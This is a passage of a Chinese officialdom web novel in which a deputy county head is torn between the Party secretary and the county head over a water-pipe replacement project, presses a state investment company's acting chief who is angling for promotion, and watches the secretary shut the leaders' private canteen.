他坐在办公桌后的椅子上,才敢长长地、无声地呼出一口浊气,仿佛要将刚才现场会令人窒息的空气全部排空。
额头和鼻尖的汗珠争先恐后地冒出来。
他胡乱地用手背抹了一把,指尖还在不易察觉地微微发抖。
江昭宁那张温和却不容置疑的脸,还有那掷地有声的话语——“百姓的鼻子、眼睛、日常生活里堵着心的事,没有一件是小事!”——依旧悬在脑海,字字重若千钧。
他不敢怠慢,丝毫不敢。
刚想转身出去执行**的指令,脚步却猛地钉在了原地。
**的指示当然要办,可自己头顶的天空,并非只有这一片云彩。
自己上面还有个县长呢?
他颓然跌坐进那把椅子里。
桌上堆着几摞卷宗,高高低低,犹如横亘在他面前难以翻越的山峦,又像无声的证人,冷眼旁观着他每一次的权衡与挣扎。
不汇报刘县长?
刘县长那看似平和却暗藏机锋的性子,他太清楚了。
日后的小鞋,怕是要从脚跟一直套到头
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顶,让你步履维艰还无处言说。
他无意识地拿起桌上那盒香烟,抽出一根叼在嘴里,摸遍几个口袋,却连打火机的影子都没找到,只能无奈地将烟重新摁回烟盒。
汇报?
眼前似乎已经能看到刘世廷蹙起的眉头和不悦的神色,那无形的压力比这秋老虎的闷热更令人窒息。
他烦躁地松开紧紧束缚着脖颈的领带,感觉那布条此刻像一条冰冷的蛇,勒得他几乎喘不过气。
踌躇再三,沉重的双腿还是拖着他,走向了刘世廷的办公室。
他抬手敲门,指关节在门上发出沉闷的回响。
一下,两下,仿佛敲在自己紧绷的心弦上。
“进来。”刘世廷的声音隔着门传来,听不出情绪。
周正平推开门,一股冷气混合着淡淡的墨水和文件纸张的气味扑面而来,与走廊的闷热形成鲜明反差。
刘世廷正埋首于一份厚厚的文件,手中的钢笔在纸页上沉稳地划动着。
“刘县长,有件事…得向您汇报一下。”周正平的声音带着一丝不易察觉的干涩。
刘世廷这才抬起头,目光锐利如鹰隼:“什么事?”
他放下笔,身体微微后仰,靠在高背椅里,手指无意识地轻轻敲击着光洁的桌面。
周正平坐了下来。
他定了定神,将今天现场会的情况,原原本本、一字不落地复述了一遍。
办公室里的空气似乎随着他的讲述一点点凝固、下沉。
刘世廷脸上的平静像水面上的薄冰,骤然碎裂。
他嘴角向下撇着,拧出一个明显的弧度,眉头紧紧锁成一个深刻的“川”字。
他的整张脸都沉了下来:“这?”
他鼻子里重重地哼了一声,手指敲击桌面的节奏明显加快,发出急促的嗒嗒声,“有这个必要吗?”
“就为城西老街口那个破地方,非要兴师动众?”
“江**的意思是,群众的事,百姓的事,再小也是大事!”
刘世廷猛地站起身,几步踱到窗边,望着楼下那片被太阳晒得发白的空地,语气里充满了难以理解的反诘,“群众?百姓?他江**心里装的、嘴上挂的,横竖就只剩下这些词儿了?”
“他倒是一心一意站在那道德高地上,拿着大喇叭喊话,动不动就想把别人都绑上去?”
第130章 该往哪边走?
刘世廷倏地转过身,目光灼灼地钉在周正平脸上,声音陡然拔高,带着一种政府官员特有的、被现实反复捶打出来的“务实”腔调:“坏了哪儿就补哪儿!”
“这样不好吗?花钱少,事儿也办了!”
“还能让那帮没活干整天在街面上晃荡的工人有点正经事做!”
“省得他们闲得骨头痒,不是扎堆打牌赌钱,就是惹是生非,甚至沾上些黄啊毒啊的烂事!”
“一举多得,怎么就不行?”
“你告诉我,这有什么不好?”
周正平只觉得脑子里“嗡”的一声,像被重锤狠狠砸了一下,心脏在胸腔里猛地一沉,随即又失重般疯狂擂动起来,撞得肋骨生疼。
完了!
他眼前阵阵发黑,心里哀鸣。
果然!**和县长,两座大山,针锋相对,立场分明!
他成了什么?
成了那被架在火上反复炙烤的可怜虫!
不汇报,是错。
汇报了,更是错上加错,直接把自己卷进了两位神仙打架的风暴中心!
他感觉自己瞬间变成了一只被硬塞进狭窄风箱的老鼠,两头都是呼呼作响、灼热逼人的风。
吹得他毛发倒竖,无处可逃,连呼吸都带着灼痛感。
背上那处早年间因为类似“站队”问题而留下的旧伤疤,此刻竟也隐隐地、不合时宜地刺痛起来,仿佛在提醒他过往的教训有多深刻。
他下意识地抬手擦了擦额角再次渗出的冷汗,指尖冰凉。
“刘县长,我…我要怎么做?”周正平喉咙发紧,声音干涩得如同砂纸摩擦。
“怎么做?你自己惦量着做,不要问我。”
周正平心里明白,这老狐狸狡猾,万一江**追责与他无关,那自己就要“背锅”了。
他几乎是逃也似的离开了刘世廷的办公室,轻轻带上门,将那沉甸甸的低气压关在身后。
走廊里空旷而寂静,午后慵懒的光线透过高大的窗户斜射进来,在磨得发亮的**石地面上投下长长的、边缘模糊的光带。
周正平独自一人走在空荡荡的走廊里,自己的脚步声在四壁间回荡,显得格外清晰,也格外孤独。
经过几间办公室门口,隐约听到里面传来讲电话的声音、翻阅文件的哗啦声。
这些日常的声响此刻听来却异常遥远,仿佛隔着一层无形的厚膜。
墙上宣传栏里,“为人民服务”几个鲜红大字在斜阳里格外刺目,像一种无声的讽刺。
楼梯转角处一扇敞开的窗户吹进一阵燥热的风,卷起地面上一小片不知从何处飘来的枯叶,打着旋儿,无依无靠,最终又无力地落在积满灰尘的窗台上。
他怔怔地看着那片枯叶,心头一片茫然。
该往哪边走?
**的指示雷厉风行,不容拖延。
可县长的不满,同样如芒在背,如鲠在喉。
他下意识地又去摸口袋里的烟盒,掏出来一看,依旧是空空如也。
连一丝烟草的碎屑都没剩下。
疲惫感如同冰冷的潮水,从脚底悄然漫涌上来,瞬间淹没了四肢百骸。
这逼仄的楼梯转角,仿佛成了整个庞大官僚机器运行中一个微不足道却无比真实的卡点。
而他,就是那个被死死卡在齿轮缝隙里的人。
周正平一脸沮丧地回到了自己的办公室。
办公桌上的电话倏地响起了。
他一看号码,吓了一跳,**办公室?
他马上接了。
“正平同志,”江昭宁的声音不高,“管网改造,是民生所系,也是城市安全运行的底线。”
“财政再紧张,勒紧裤腰带也要保障。”
“这是**任务,没有讨价还价的余地。”
“资金缺口,就按我说的办,你作为分管副县长,要拿出担当来,财政这一边四百万没有问题。”
“城投那边,要发挥融资平台作用,张宏宇不是保证完成任务吗?去落实到位款项!”
“兵无粮草不行!三天之内,必须启动,要看到施工队伍进场,要听到机器的声音。”
“工作,要讲究时效性,更要讲究执行力。”
“拖拖拉拉,贻误了时机,谁也负不起这个责任。”
江昭宁甚至不需要提高音量,不需要任何威胁的词语。
他只是平静地阐述着目标、责任和后果。
那每一个字,都像一块烧红的烙铁,在周正平的心上烫下清晰的印记。
江**不需要阴谋,他的阳谋堂堂正正,高举高打,却足以将任何试图敷衍塞责的人架在**责任的火炉上反复炙烤。
前车之鉴
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,此刻清晰地浮现在周正平的脑海里,带着一种无声的、令人心悸的警示。
“是!是!”周正平唯唯诺诺。
那一边挂掉了电话。
周正平是市管干部,理论上,**动不了他的帽子。
但“动不了”不等于“动不了你”。
**的手,握着全县干部命运最核心的那根线。
他只需轻描淡写一句话,就可以调整你的分工,从分管炙手可热的关键部门,调到分管某些个清水衙门。
或者,更常见也更体面地,让你“协助分管”某个无关痛痒的领域,从此游离在决策圈之外,成为某种意义上的“高级顾问”——好听,却意味着彻底的边缘化。
这种冰封,无声无息,却又彻骨寒冷。
而县长呢?
他虽然是政府一把手,是周正平的直属上级,但在党内,他首先是县委副**,是**的助手。
他要达到同样的目的,往往需要更多的铺垫,更多的协调,甚至需要借助县委**会的集体名义。
远不如**一句话来得直接、高效、难以抵挡。
权力的结构,像一幅冰冷的解剖图,清晰地展现在周正平面前,让他感到一阵寒意。
周正平有些懊悔地搓了把脸,指尖带着点凉意。
或许,从一开始就不该去向刘世廷汇报。
现在倒好,成了两头不讨好的烫手山芋。
现在,如果自己按**的要求全力推进,刘县长那边会怎么想?
他会不会觉得自己已经彻底倒向了**,把他这个顶头上司的话当成了耳旁风,将自己归入了**的“嫡系”,从此划为异类?
墙上的石英钟秒针一格一格地跳动,声音在过分安静的办公室里被无限放大,像倒计时的鼓点,敲打着周正平紧绷的神经。
他猛地站起身,椅子腿在光洁的地砖上划出短促刺耳的摩擦声。
算了!
他深吸一口气,又重重吐出,仿佛要将胸腔里所有的犹豫和不安都挤压出去。
甘蔗没有两头甜!
官场这片深水区,试图左右逢源、脚踩两只船的人,最终只会落得个两头踏空、溺水而亡的下场。
投机分子,永远不会真正赢得任何一方的信任。
**的意志,就是当下必须遵循的方向。
第131章 盯紧工期!
决心一旦下定,行动便不再迟疑。
他抓起桌上的电话,直接拨给了财政局局长舒立悦。
电话接通,周正平的声音恢复了平日的沉稳,但那份沉稳之下,透着一股不容置疑的急切:“舒局长,管网改造的财政资金,**非常关注,要求立刻落实到位。”
“你那边,今天下班前,必须完成拨付程序。”
电话那头,舒立悦显然感受到了这份压力。
他没有任何推诿,声音立刻绷紧了:“明白,周县长!您放心,我亲自盯着办,绝对误不了事!马上处理!”
县住建局临时成立的管道更换前线指挥部里,人声嘈杂,电话铃声此起彼伏。
空气混杂着速溶咖啡和烟草的呛人味道,打印机的噪音低沉地滚动着。
陈向荣坐在唯一宽大的办公桌后,眼下的乌青深得能盛住黑墨水,嗓音嘶哑得像用砂纸摩擦过,对着电话话筒几乎要吼出来:“材料!我说了,新的符合食品级标准的PE管道必须在今天天黑前全部进场!”
“耽误了施工进度,**亲自来问话,你负责还是我负责?”
他重重撂下话筒,发出哐当一声巨响,烦躁地抓了抓本就凌乱的头发,随手拿起旁边的矿泉水瓶猛灌了几口。
这时,一个工作人员拿着签批单匆匆跑过来,额头全是汗:“陈局,劳务分包公司的费用预付申请,舒局长那边钱到了……”
“签!”陈向荣连内容都懒得细看,挥笔就在财务负责人栏唰唰签下自己名字,“给我保证人手!”
“下午三个施工段必须全部进场开沟!工期!盯紧工期!”
他将签批单推给工作人员,疲惫地抹了把脸,抬眼望向窗外铅灰色的天空,眉头拧成死结。
那些被工人掀开的水泥路面,像一道道张开的巨大嘴巴,吞噬着政府公信力。
另一边,周正平却并未真正得到喘息。
从舒立悦雷厉风行地挪出工程第一期启动资金,到陈向荣在工地昼夜不休地督战。
钱,如同流水般泼洒出去。
挖掘机的柴油、按天结算的工人工资、源源不断运抵现场的高价新型管材……
每一张开出去的支票都在无声宣告,这庞大的机器一旦开动,没有足够的续命钱,瞬间就会变成一头吞噬一切的怪物。
财政的钱只能解燃眉之急,只能开始启动工程。
那后续庞大的六百万窟窿,必须落在城投公司肩上。
江**那句“张宏宇不是保证完成任务的吗?”言犹在耳。
现在,就是去让那张宏宇兑现的时候了。
城投公司在县城新区的边缘,十几层高的玻璃幕墙在午后的烈日下反射着刺眼的白光,透着一股与周围略显空旷的环境不太相称的气派。
周正平的车驶入楼下,车轮碾压着新铺的柏油路面,发出轻微的沙沙声。
这栋楼是前任总经理蒋文光在任时力主兴建的,当时争议不小,如今蒋文光因嫌黑贪腐**,这栋楼便成了某种尴尬的象征,也成了现任副总张宏宇急于摆脱的阴影。
推开城投公司厚重的玻璃门,一股凉气混合着新装修材料的味道扑面而来。
前台的年轻姑娘看到周正平,显然有些意外,立刻站起身,脸上堆起职业化的笑容:“周县长您好!”
“您……您找张总?我马上通知!”
“不用了,我直接上去。”周正平摆了摆手,步履沉稳地走向电梯间。
电梯平稳上行,光滑的镜面映出他微蹙的眉头和略显疲惫的面容。
张宏宇的办公室在走廊尽头,宽敞明亮。
周正平推门进去时,张宏宇正站在巨大的落地窗前打电话,背对着门口,声音洪亮,带着一种刻意的、指点江山般的豪气:“……放心!李行长,咱们什么关系?”
“这点小事包在我身上!”
“城投的盘子稳得很,蒋文光那点事早翻篇了!……好,好,改天聚!”
他挂掉电话,转过身,脸上瞬间堆满了热情洋溢的笑容。
他几步迎了上来,双手紧紧握住周正平的手,用力摇晃着:“哎呀呀,周县长!您真是稀客,大驾光临,怎么也不提前招呼一声?”
“我好下楼迎接啊!快请坐请坐!”
他一边说,一边殷勤地将周正平引向会客区的真皮沙发。
周正平不动声色地坐下,目光扫过
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张宏宇那张红光满面的脸。
张宏宇眼神里透着商人的精明和政客式的圆滑。
他亲自给周正平泡了一杯上好的龙井,茶叶在玻璃杯里缓缓舒展。
“张总客气了。”周正平接过茶杯,没有寒暄,直接切入主题,“我来,还是为管网改造的事。”
“财政的首笔启动资金已经拨付到住建局了,陈向荣那边动作很快,施工队已经进场,旧管道开始拆了。”
“哎呀!太好了!雷厉风行!这就对了嘛!”
“周县长您亲自督办,效率就是高!”
张宏宇拊掌赞叹,身体微微前倾,脸上满是钦佩。
“效率高是好事,但后续压力也大。”周正平放下茶杯,目光直视张宏宇,“启动资金只够买材料和前期施工,六百万的后续缺口,必须靠城投来解决。”
“城投是主力军。张总,你可是在**面前可是打了包票,说‘保证完成任务’的。”
“现在,该是兑现的时候了。”他的语气平和,但字字清晰,带着明确的责任指向。
张宏宇脸上的笑容瞬间凝滞了一下,像被按了暂停键,随即又迅速恢复,只是那笑容里明显掺进了几分为难和苦涩。
他指着自己桌上那摞厚厚的文件,“您看看这些报表……城投的家底,您是清楚的。”
他夸张地叹了口气,眉头皱成了川字,“我们这些年,基本是靠着借新还旧,拆东墙补西墙,在钢丝上走啊!”
他的目光带着几分无奈投向周正平,指关节在桌面上无意识地轻轻敲着:“县里几块核心区土地的出让,谈了几轮,协议都卡着签不下来。”
“好几个在建的‘交钥匙’工程项目,回款周期长得吓人,压得账上根本没有多少活动资金。”
张宏宇身体微微前倾,压低了本就低沉的声线,语速也放慢了,带着一种推心置腹的无奈:“市里、省里银根一再收紧,政策性窗口期卡得死死的。”
“去年底那两笔本该到位的信贷额度,说收紧就给掐了,连个像样的解释都没有……”
“城投这摊子,盘子看着挺大,说穿了,就是个顶着‘国’字号的融资平台。”
第132章 谈价码!
他拿起茶杯凑到嘴边,却又放下,像是连茶也喝不下去,“账面上那点流水,应付各个项目的窟窿、日常开支都捉襟见肘,每天都提心吊胆。”
他顿了顿,抬眼正视着周正平,眼神坦率得近乎悲壮:“六百万!这不是六百块!不是小数目!”
“我是真想兑现承诺,可钱……不是画个饼就能出来的啊,我的周县。”
张宏宇重重叹了口气,身体向后靠在沙发背上,双手一摊,露出一个极其无奈的表情:“城投现在的情况,您比谁都清楚,蒋文光那王八蛋……唉!”
他猛地一拍大腿,痛心疾首,“简直是挖了个天坑!”
“把好好的家底都快掏空了!”
“现在就是个空架子,看着光鲜,内里虚得很!”
周正平眉头微皱,没有接话,只是静静地看着他表演。
张宏宇见周正平不为所动,继续诉苦,掰着手指头数落:“账面上那点流水,可哪一分钱是闲着的?”
“蒋文光案子的影响还没消除,风声紧啊!”
“各家商业银行都在收贷、压贷,新贷款根本批不下来!”
“……周县长,我这真是,巧妇难为无米之炊啊!”他的声音带着一种夸张的愁苦,眉头拧成了疙瘩。
周正平脸色沉了下来,身体微微前倾,目光如炬:“张总,在书记面前你可不是这么说的。态度很坚决。”
“怎么?现在就变了说辞?”
“书记的话,是可以打折扣的吗?”最后一句,他刻意加重了语气,点出了江昭宁的意志。
“哎哟,周县长!误会!天大的误会!”张宏宇连忙摆手,身体又往前凑了凑,脸上堆起十二分的诚恳,“我张宏宇对书记的指示,那绝对是坚决拥护、不打折扣地执行!”
“我绝对没说‘不办’啊!”
“我的意思是……需要时间!需要一点时间周转!”
“时间?”周正平盯着他,“工程已经启动了,停了工,就是政治责任,你我都担不起!”
“书记要的是结果,是要持续不断地推进下去!”
“你告诉我,需要多少时间?怎么周转?”
张宏宇的眼神闪烁了一下,避开周正平锐利的目光,端起自己的茶杯,慢悠悠地喝了一口,似乎在斟酌词句。
他放下茶杯。
他脸上露出一种混合着尴尬和暗示的复杂表情,声音也压低了几分,带着一种推心置腹般的无奈:“周县长,您是明白人。”
“城投这摊子事,千头万绪,要盘活资金,无非两条路:要么,找那些欠我们钱的项目单位、开发商,把该收的款子收回来;要么,去找银行,争取新的商业信贷支持。”
“可这两条路……都不好走啊。”
“我这肩膀上,压着整个公司的担子!”
“可这根支撑我的大梁,它就是虚的!它撑不住场子啊!”
他顿了顿,观察了一下周正平的反应,才接着说下去,语气带着明显的自嘲和暗示:“您说,我张宏宇现在算个什么?”
“说好听点,是个副总,主持工作。”
“可说白了,就是个临时顶缸的!名不正,言不顺呐!”
“这副总的帽子,戴了快四年了……”
“实际上呢?也‘主持工作’了这么些日子……方方面面的人很客气地叫我一声张总,背地里怎么议论?”
“都觉得我这‘主持’的,做不得主!”
他摊开双手,一脸苦相,“您想想,我去跟那些开发商老总谈回款?人家嘴上客气,心里嘀咕:‘你一个副总,说话算数吗?承诺能兑现吗?’”
“言不顺则事不成啊!”
“我去银行跑贷款?人家行长一看我这名片,上面印着‘副总经理’,心里先就打了问号,评估风险等级都要调高一档!”
“谈合作,没有相应的职务,就没有那份底气,没有那份‘职务效应’啊!”
张宏宇的声音里充满了“委屈”和“不被理解”:“没有这个‘名分’,很多事办起来就事倍功半。”
“只能靠私人关系,靠刷脸,靠求爷爷告奶奶。”
“周县长,这私人交情,用一次少一次,而且见效慢啊!”
“您说,我能快得了吗?”他最后这句反问,带着一种意味深长的叹息,目光看似不经意,却牢牢地锁定在周正平的脸上。
办公室里的空气仿佛凝固了。
窗外,新区宽阔的马路上车流稀疏,阳光在玻璃幕墙上流淌,一片耀眼的白。
时间,就在这无声的僵持中,一分一秒地爬行。
周正平没有立刻说话。
他端起面前那杯已经有些凉了的龙井,凑到唇边,却没有喝。
碧绿的茶叶沉在杯底,水色清亮,映着他自己沉静如水的面容。
张宏宇的话,像一把沾了油的钥匙,在他脑海里那些原本模糊的疑虑和猜测的锁孔里,轻轻一拧。
“名不正言不顺”……
“职务效应”……
“临时顶缸”……
这些词汇,此刻像投入平静湖面的石子,激起的涟漪一圈圈扩散开来。
最终汇聚成一个清晰得不能再清晰的指向——那个空悬的城投公司总经理的位子!
周正平握着茶杯的手指微微收紧了。
他忽然想起上次张宏宇特意在走廊上“偶遇”自己,闲聊中看似随意地提起:“周县长,听说组织部那边对城投总经理的人选,还没最后定调?”
“唉,这位置悬着,公司上上下下人心都不稳,影响工作啊……”当时他只当是寻常牢骚,未曾深想。
原来伏笔,早已埋下。
蒋文光案发后,这个肥缺一直悬而未决,各方角力暗流涌动。
张宏宇作为实际主持工作的副总,显然对这个“副”字早已深恶痛绝。
他今天这番诉苦,这番“推心置腹”,根本不是在谈资金困难,而是在谈价码!
是在用那六百万后续资金,作为他张宏宇“转正”的敲门砖和投名状!
这个张宏宇!
周正平心底无声地冷笑了一下。
他看似诉苦、示弱,实则是在亮筹码,是在逼宫!
他想借着书记压下来的这桩紧急工程,借着周正平急于完成任务的迫切心理,逼着自己这个分管副县长,在城投老总人选的问题上,为他张宏宇说话,在书记面前为他站台背书!
这哪里是要解决资金问题?
这分明是趁火打劫,是政治上的讨价还价!
周正平缓缓放下了茶杯,瓷器与玻璃茶几接触,发出一声清脆又冰冷的轻响。
这声音不大,却在过分安静的办公室里显得格外突兀,像某种宣告。
他抬起头,目光重新落在张宏宇那张堆满“诚恳”与“为难”的脸上。
这一次,周正平的眼神彻底变了。
之前的审视和压力犹在,但更深层的地方,多了一种了然,一种洞悉了对方所有底牌后的冷静。
甚至带着一丝不易察觉的、冰冷的嘲讽。
第133章 向吃喝腐败开刀
张宏宇似乎被周正平这突然变化的眼神看得有些不自在。
他脸上的笑容有点僵硬,下意识地端起自己的茶杯喝了一口,掩饰着那一瞬间的心虚。
他大概也意识到,自己的意图,已经被对方彻底看穿了。
“张总,”周正平终于开口,声音不高,却字字清晰,带着一种奇特的平静,仿佛在陈述一个与己无关的事实,“你的难处,我听到了。”
张宏宇眼睛一亮,身体又往前倾了倾,脸上露出期待的神色:“周县长,您能理解就好!”
“我就知道您……”
周正平抬手,轻轻打断了他,语气依旧平稳:“理解归理解。但书记的指示,是铁律。”
“工程,不能停。”
“后续资金,必须跟上。这是死命令。”
张宏宇脸上的期待瞬间凝固,慢慢转为愕然和更深的不解。
他张了张嘴,似乎想辩解什么。
周正平没有给他机会,继续说道:“你刚才说的那些困难,是客观存在的。”
“但克服困难,完成任务,才是关键。‘职务效应’……”
他微微停顿了一下,目光如刀锋般扫过张宏宇的脸,“不是靠抱怨就能自动获得的。”
“它来自于关键时刻,解决问题的能力,来自于对上对下,都能交出的那份令人信服的答卷。”
他的话像冰水,浇在张宏宇刚刚燃起的希望之火上。
“三天,”周正平站起身,居高临下地看着坐在沙发上的张宏宇,语气斩钉截铁,“我只给你三天时间。”
“不管你用什么方法,私人交情也好,刷脸也好,求爷爷告奶奶也好,六百万的资金解决方案,必须拿出来。”
“我要看到具体的计划,可靠的来源,明确的时间表。”他拿起放在沙发扶手上的公文包,动作利落,“三天后,我会再来。”
“如果到时候,我看不到切实可行的方案……”
周正平没有把话说完。
只是留下一个意味深长的停顿和一个冰冷的眼神。
那眼神里的含义无比清晰:要么拿出真本事解决问题,证明你配得上那个位置。
要么,就证明你只是个会耍嘴皮子、关键时刻掉链子的庸才。
那么,城投总经理的位子,你想都别想。
他不再看张宏宇瞬间变得煞白的脸。
转身,大步流星地走向门口。
周正平没有回头,径直走向自己的车。
司机早已发动了引擎。
坐进后座,车门关闭,隔绝了外面的喧嚣。
车子平稳地融入略显空旷的街道。
周正平靠在椅背上,闭上眼,深深吸了一口气,再缓缓吐出。
车窗外的景物飞速倒退,阳光透过贴膜的车窗,在车内投下变幻的光影,掠过他紧闭的眼睑和略显疲惫的面容。
他的手指无意识地敲击着真皮扶手。
张宏宇的算计,赤裸裸地摊开在面前,带着令人厌恶的市侩和贪婪。
他试图用那六百万作为筹码,将他周正平也绑上他的战车。
这无疑是下作的一步棋。
然而,更深的寒意并非来自张宏宇本身。
官场这张巨大的棋盘上,每个人都只是被无形之手拨弄的棋子。
甘蔗没有两头甜。
这个朴素的道理,在权力场中被赋予了最残酷的实践意义。
选择一方,就意味着自动站在了另一方的审视乃至对立面。
他选择了遵循江昭宁的意志,就意味着自动在刘世廷那里被划上了问号。
他此刻逼迫张宏宇,无论结果如何,都可能在城投系统乃至更广的范围内树敌。
没有完美的路径,只有权衡利弊后的取舍,以及随之而来、无法逃避的代价和风险。
车子驶过一片正在施工的工地,巨大的打桩机发出沉闷而有力的撞击声。
咚!咚!咚!
那声音穿透车窗,直抵耳膜,也像重锤,敲在周正平的心上。
后续的资金链,如同悬在头顶的达摩克利斯之剑。
张宏宇那里,三天,能逼出结果吗?
就算逼出来了,那六百万真的能顺利到位吗?
如果资金链断裂,轰轰烈烈开始的换管工程烂尾……
那么第一个被推出来承担“执行力不强”、“工作不力”责任的,会是谁?
江昭宁那句“谁也负不起这个责任”,此刻听来,充满了冰冷的预兆。
他睁开眼,目光投向窗外。
县城老区的方向,隐约可见几栋灰蒙蒙的旧楼房。
那里,陈向荣带领的施工队,此刻应该正在挥汗如雨地挖掘着路面,更换着锈蚀不堪的旧管道。
机器的轰鸣声,工人们的号子声,居民们或期待或抱怨的议论声……
万家灯火下的期盼,此刻都压在了他周正平的肩头,也压在了那尚未真正落地的六百万之上。
三天……周正平的手指停止了敲击,慢慢攥紧。
这三天,将是决定许多人命运走向的关键隘口,而他,正孤身站在隘口的最中央,四面来风。
江昭宁召开了县委县府人大政协四大班子会议。
随着开会的九点钟的临近。
开会的领导陆续入场,依照牌位次第落座。
椅子移动的声响、茶杯盖轻碰杯沿的脆响,低低的咳嗽,如同夏日午后的蝉鸣,细碎又顽固地持续着。
四大班子正副职共有二十九人。
看到人员已全部到齐。
早已坐在主位的江昭宁,缓缓从身上掏出一件东西——不是文件,而是一把钥匙。
那钥匙寒光一闪,瞬间掐断了所有微弱的杂音。
二十八双眼睛,如同被无形丝线牵引,齐刷刷钉在那小小的金属物件上。
江昭宁的声音不高,却异常清晰地穿透了这片死寂:“现在开会,议题只有一个——取消小灶。”
他扬起手中的钥匙,那冰冷的金属物件此刻仿佛带着灼人的温度:“这是常委小餐厅的钥匙。”
他顿了顿,目光扫过一张张瞬间凝固的脸,“我与刘县长已达成共识,它已被永久关闭。”
“诸位,”他的目光锐利如锥,直直刺向众人,“我们坐在这里,究竟是谁的父母官?”
“‘父母’二字,岂是写在门楣上装点门面的?可这专供我们的小灶,高高在上,壁垒森严,何尝不是一堵墙,把我们与墙外的‘子女’彻底隔绝?”
江昭宁的声音陡然拔高,带着一种难以言喻的沉痛,“这墙,是特权之墙,更是腐败之墙!”
“它一年到头吞噬的,岂止是几十万民脂民膏?这是挥霍民心,蛀蚀根基!”
他的视线如精准的探针,倏地投向长桌另一端的刘世廷:“刘县长,我的话,对也不对?”
第134章 死寂!
刘世廷正低头盯着自己茶杯里沉沉浮浮的茶叶梗。
他闻言猛地抬头,脸颊肌肉微不可察地抽动了一下,喉结滚动,挤出一个干涩短促的音节:“嗯!”
紧接着又像是为了补足分量,匆忙追了句:“是的!”声音短促,带着一丝不易察觉的飘忽。
江昭宁微微颔首,目光却并未离开那张竭力维持平静的面孔。
那瞬间的闪烁与言不由衷,如冰凉的蛇信,滑过他的心头。
江昭宁将钥匙轻轻搁在光洁的会议桌上,那一声轻微的“嗒”,却像投入深潭的石子,在众人心头激起一圈圈扩散的涟漪。
他不再看刘世廷,转而环视全场,目光缓缓扫过一张张表情各异的脸。
“一个常委餐厅,一年几十万,算多么?”
他自问自答,声音不高,却字字如锤,“不多?”
“好。”
“那县府呢?人大呢?政协呢?常委开了头,他们要不要有?”
“要不要跟上?”
他停顿片刻,目光变得愈发沉冷,“这开销,轻轻松松,百万起步,不多吧?”
他端起茶杯,呷了一口,仿佛在给这冰冷的数字一个下沉的时间。
会议室里只剩下压抑的呼吸声。
“我们往下看,”江昭宁放下杯子,眼神锐利如刀,“县委县府下辖的部办委局,大大小小,几十个总有吧?”
“它们要不要学?”
“要不要跟风?”
“再往下,事业单位呢?”他语气陡然加重,“单说一个教育局!”他竖起一根手指,目光如炬,“吃财政饭的教师、职员,六千之众!多少所小学?多少所中学?”
“倘若每个单位的领导层,都心安理得地开起小灶,心安理得地享受这份特殊,一年到头,又要烧掉多少钱?”
他猛地一拍桌子,震得茶杯盖叮当作响,“还有那些国有企业呢?层层叠叠,盘根错节!”
“算一算!这笔账,谁算得清?”
“千万之巨,挡得住吗?!”
江昭宁猛地站起身,双手撑在桌沿,身体微微前倾,目光如电,扫视着全场每一张或震惊、或躲闪、或沉思的脸。
他胸膛起伏,声音里压抑着巨大的悲愤:“钱!烧掉的是钱!可烧掉的就仅仅是钱吗?”
他猛地一指窗外,仿佛要戳破这精心构筑的玻璃幕墙,“窗外是什么?是老百姓!”
“是那些面朝黄土背朝天、一个汗珠子摔八瓣的父老乡亲!是那些挤在危房里上课、捧着冷饭盒的孩子!”
他声音嘶哑,带着一种近乎哽咽的沉重,“难怪!难怪群众指着我们的脊梁骨骂!骂腐败吃垮一座金山!一座金山啊!同志们!”
他猛地转身,指向会议室墙壁上悬挂的巨幅县区地图:“看看这地图上标注的贫困村、看看那些摇摇欲坠的校舍!”
他声音陡然一沉,带着切肤之痛的质疑:“这些钱拿来干点正事不好吗?能为百姓办多少件实事?”
“群众骂得一点没错,败家子的腐败,能硬生生把一座金山蛀空!”
“我们吃一顿所谓的‘工作餐’,吃掉的,可能就是几十个孩子赖以避雨读书的屋顶!”
长久的死寂。
二十八个人,仿佛二十八尊形态各异的泥塑木雕。
空气凝滞,沉甸甸地压在每个人的胸口,让人喘不过气。
刘世廷的目光死死黏在桌面上,仿佛那深色的木纹里藏着什么救命的答案。
他放在桌下的手,无意识地、一遍遍摩挲着裤缝,指尖冰凉。
周明清额角沁出细密的汗珠。
他悄悄抬起袖子,飞快地抹了一下,喉结上下滚动,却发不出一点声音,目光闪烁。
在江昭宁冷峻的脸和手中那把钥匙之间来回逡巡,最终又仓惶地垂下。
赵永春面色铁青,端起茶杯送到嘴边,手却几不可察地微微颤抖,杯盖碰着杯沿,发出一串细碎、凌乱的轻响。
他最终也没喝,重重地将茶杯顿回桌面,那一声突兀的“咚”,打破了死寂,也引来了几道含义复杂的目光。
他索性靠在椅背上,闭上眼睛。
人大主任王振邦,这位向来以稳重著称的老同志,此刻也失去了往日的从容。
他下意识地拿起面前的铅笔,指尖用力,几乎要将笔杆捏断,又猛地意识到自己的失态,将笔轻轻放下,动作僵硬。
他几次想抬头说什么,嘴唇翕动,最终却只是发出一声沉沉的叹息,那叹息声里裹着千钧重负。
政协主席李茂林则一直低着头,专注地在笔记本上写着什么,笔尖划过纸张的沙沙声显得异常清晰。
可细看之下,那笔迹凌乱不堪,毫无章法,更像是一种无意识的发泄。
他写了几行,又烦躁地将那页纸狠狠撕下,揉成一团,紧紧攥在手心。
刘世廷目光在与会者脸上飞快地扫过,似乎在捕捉每一丝细微的情绪变化,手指下意识地在桌面上轻轻敲击,那节奏时快时慢,透露出他内心的盘算。
他身旁的赵永春忽然剧烈地咳嗽起来,一声接一声,咳得面红耳赤。
旁边的人下意识地想伸手帮他拍拍背。
他睥睨了一眼。
对方手抬到一半,又尴尬地僵在半空,最终讪讪地收了回去。
那咳嗽声在寂静中显得格外突兀,像一面破锣在死水里拼命敲打。
江昭宁将这一切尽收眼底。
那无声的抗拒、尴尬的躲闪、压抑的怒火、无奈的叹息……如同会议室里弥漫的冷气,丝丝缕缕,缠绕不休。
他并未再说什么,只是缓缓坐回主位,脊背挺得笔直,目光沉静而坚定地再次投向那把静静躺在桌面上的钥匙。
那钥匙,此刻仿佛成了会议桌上唯一的焦点,一个沉默却力量千钧的图腾。
时间一分一秒地流逝,每一秒都像被拉长了胶着的丝线。
窗外的阳光似乎黯淡了些,会议室顶灯的光线打在人们脸上,投下深深浅浅的阴影,更添了几分凝重。
最终,打破这令人窒息的沉默的,是江昭宁自己。
他没有提高声调,反而放低了声音,但那声音里的分量却更加清晰,如同投入深潭的石子:“钥匙就在这里。”
他再次拿起那把冰冷的钥匙,指尖感受着金属的棱角,“关掉一个特权门不容易,甚至很难。”
“但自今以后,所有的这个特权小灶的门,必须关!”
他的目光再次扫过全场,带着不容置疑的决绝,“这不是商量,是决定。”
